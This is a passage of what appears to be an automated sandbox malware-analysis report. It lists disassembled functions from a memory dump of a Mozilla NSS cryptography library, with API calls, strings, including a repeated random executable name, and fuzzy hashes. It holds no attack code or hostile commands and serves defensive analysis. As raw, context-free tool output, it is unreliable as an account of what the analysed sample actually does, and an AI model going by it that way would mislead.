Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE77E7B

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF9925C,?), ref: 6CE77E92

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE77EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE77ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE77EFA

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: bd600941107ffc4a7bf911b845e5b8e2676f3c9ca6a85fb28a6a7e46fdfc44ae
Instruction ID: 50f6bcf8158176cf5ba0dc058efc609a324d3e8a81d3f31cf2cfcd740f7efafb
Opcode Fuzzy Hash: bd600941107ffc4a7bf911b845e5b8e2676f3c9ca6a85fb28a6a7e46fdfc44ae
Instruction Fuzzy Hash: B33190B2E002119BEB219A659D41B6B77B8EF4425CF2A4828DC59EBB01E731FC04C7B1

Function 6CECDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CECD9E4,00000000), ref: 6CECDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CECD9E4,00000000), ref: 6CECDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CECD9E4,00000000), ref: 6CECDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CECDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CECDCAD

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: d7fa4c90f5aba01500e273a9a9a99f8e414c3da7a219d5708afb624ff646572a
Instruction ID: f00733eb3952931bafd6acf064810fabc9bcfeb31db10f148c13fd7db8c82cd1
Opcode Fuzzy Hash: d7fa4c90f5aba01500e273a9a9a99f8e414c3da7a219d5708afb624ff646572a
Instruction Fuzzy Hash: 2C3192B9A402009FD710CF5DD980F56B7F8AF05358F248029E968CBB00E772EA45CB92

Function 6CE92E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE8E728,?,00000038,?,?,00000000), ref: 6CE92E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE92E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE92E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CE92E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CE92E9E
PR_Unlock.NSS3(?), ref: 6CE92EAB
PR_Unlock.NSS3(?), ref: 6CE92F0D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 6f528ad6ad45153f696868b897ed9b2378861a25fc45e45ed12b8d929ae5a2bf
Instruction ID: ad2f2b275c304e7635edc4f6ffa3bd2b077bb4b4d343472f7387338eca6161e0
Opcode Fuzzy Hash: 6f528ad6ad45153f696868b897ed9b2378861a25fc45e45ed12b8d929ae5a2bf
Instruction Fuzzy Hash: 1431F6B5E005059BEF01AF28DC85976B774EF1625CB248178EC0897B11E731ED64C7D0

Function 6CEB1EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE96295,?,00000000,?,00000001,S&l,?), ref: 6CEB1ECB

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE96295,?,00000000,?,00000001,S&l,?), ref: 6CEB1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CEB1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CEB1F39

Part of subcall function 6CEBFE20: TlsGetValue.KERNEL32(6CE95ADC,?,00000000,00000001,?,?,00000000,?,6CE8BA55,?,?), ref: 6CEBFE4B
Part of subcall function 6CEBFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEBFE5F

PR_Unlock.NSS3(?), ref: 6CEB1F67

Strings

S&l, xrefs: 6CEB1EA0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: a62685bf3bc4540bc78e7d3a7574a011d115d9e68ec93a84b01048445f7977da
Instruction ID: eb2f4dc8b63b68c236ab784006448ed287b0ba086189a7dbecb6bebbb2a339c5
Opcode Fuzzy Hash: a62685bf3bc4540bc78e7d3a7574a011d115d9e68ec93a84b01048445f7977da
Instruction Fuzzy Hash: DE21E475E042049BEB00AFA9DD46BAA3779AF4137CF244124FD08A7B11E730E954C7E0

Function 6CEDCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEDCD93,?), ref: 6CEDCEEE

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEDCD93,?), ref: 6CEDCEFC

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEDCD93,?), ref: 6CEDCF0B

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEDCD93,?), ref: 6CEDCF1D

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEDCD93,?,?,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF78

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 97482aa19bb1b4efb4cfc4477760d0e0b7f2097b5398b1d1990b5d1ddf374384
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 5D11E7B5F002005BE700AAA67D42BABB6FC9F5419DF25403DEC19D7741FB61E90A86B2

Function 6CE88C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE88C1B
EnterCriticalSection.KERNEL32 ref: 6CE88C34
PL_ArenaAllocate.NSS3 ref: 6CE88C65
PR_Unlock.NSS3 ref: 6CE88C9C
PR_Unlock.NSS3 ref: 6CE88CB6

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Strings

KRAM, xrefs: 6CE88C8F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 01a584841b86ee896e18acf12173e119d5d61d36154e1623d0176b6a87cbaaa0
Instruction ID: 939fda8840b271df03dad6a1c6bd913491d23f0bbc110164bf93ec0913177f01
Opcode Fuzzy Hash: 01a584841b86ee896e18acf12173e119d5d61d36154e1623d0176b6a87cbaaa0
Instruction Fuzzy Hash: E42171B1A166118FD700AF78C484659BBF4FF45308F25896ED8888B715DB35E886CB92

Function 6CECBE60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE7E708,00000000,00000000,00000004,00000000), ref: 6CECBE6A

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE804DC,?), ref: 6CECBE7E

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CECBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE804DC,?,?), ref: 6CECBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CECBEEB

Strings

trJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxU, xrefs: 6CECBE98

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID: trJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxURfeCXaGkkBtrJkhdxTJ.exeUIYxU
API String ID: 1367977078-1691444522
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 8d75947b8890b19fb1003db133abcaea4a8d3be976580c971307aaffb82fcd0d
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: DC1131A6F042896BE7008965AE81F6B737D9B81B5CF340025FE3483B52E731D80487E3

Function 6CE98E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EA2

Part of subcall function 6CEBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CEBF854
Part of subcall function 6CEBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CEBF868
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CEBF882
Part of subcall function 6CEBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CEBF889
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CEBF8A4
Part of subcall function 6CEBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CEBF8AB
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CEBF8C9
Part of subcall function 6CEBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CEBF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EC3
TlsGetValue.KERNEL32(?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C), ref: 6CE98EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CEB2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE98EF1
PR_Unlock.NSS3 ref: 6CE98F20

Strings

b.l, xrefs: 6CE98E96, 6CE98F25

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 2f6b126030737fcf3aa0a9ff2fab8a9cc86767663edf5acfd8c26769459f4e5b
Instruction ID: 8237863ee77cb77dd5ca9a33f4935329b43261274343defe22b2db9c80e3e0e4
Opcode Fuzzy Hash: 2f6b126030737fcf3aa0a9ff2fab8a9cc86767663edf5acfd8c26769459f4e5b
Instruction Fuzzy Hash: C7217A75A096059FCB10AF39D4882A9BBF0FF48318F11556EE8989BB51D734E854CBC2

Function 6CF03E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_EnterMonitor.NSS3(?), ref: 6CF03E45

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

PR_EnterMonitor.NSS3(?), ref: 6CF03E5C
PR_EnterMonitor.NSS3(?), ref: 6CF03E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF03EA6

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_ExitMonitor.NSS3(?), ref: 6CF03EC0
PR_ExitMonitor.NSS3(?), ref: 6CF03ED7
PR_ExitMonitor.NSS3(?), ref: 6CF03EEE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: ae9c846b75868be4b70f79709c4d720d64b238d62a5b970845b3295ef993062d
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 6411B7B1710610AFDB319E29FC12FC7B7A1DB40708F405934E65D87A20EA36E92DD782

Function 6CF82C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF82CA0
PR_ExitMonitor.NSS3 ref: 6CF82CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF82CD1
strdup.MOZGLUE(?), ref: 6CF82CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF82D27

Strings

Loaded library %s (static lib), xrefs: 6CF82D22

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 96266414a25c1c7ef2d6d8d211be4488f27a07de6ea625b7ac92684007a7ea6f
Instruction ID: 68b3776c0ade38dd643725ccbf4291a54e0377192a35d9376d0394c0707a618b
Opcode Fuzzy Hash: 96266414a25c1c7ef2d6d8d211be4488f27a07de6ea625b7ac92684007a7ea6f
Instruction Fuzzy Hash: AA11C8B1B122109FEB558F25D8487667BB4EB4632DF14813DE809C7B41D732F908CBA1

Function 6CE768E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE768FB
EnterCriticalSection.KERNEL32 ref: 6CE76913
PORT_FreeArena_Util.NSS3 ref: 6CE7693E
PR_Unlock.NSS3 ref: 6CE76946
DeleteCriticalSection.KERNEL32 ref: 6CE76951
free.MOZGLUE ref: 6CE7695D
PR_Unlock.NSS3 ref: 6CE76968

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 84b1a9516700f968b0981a4c77415d37dfeb378e7d430334a292bdfacd10bf2e
Instruction ID: b214b3567ee46998cc2c301965e3a9ac6a7c329e0942d782f4640b87e5fe3784
Opcode Fuzzy Hash: 84b1a9516700f968b0981a4c77415d37dfeb378e7d430334a292bdfacd10bf2e
Instruction Fuzzy Hash: A0114FB5A147059FDB40AF78C08866EBBF8BF02248F11456CD895DB705EB30D499CBA2

Function 6CE7BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE7BDCA

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE7BDDB

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE7BDEC

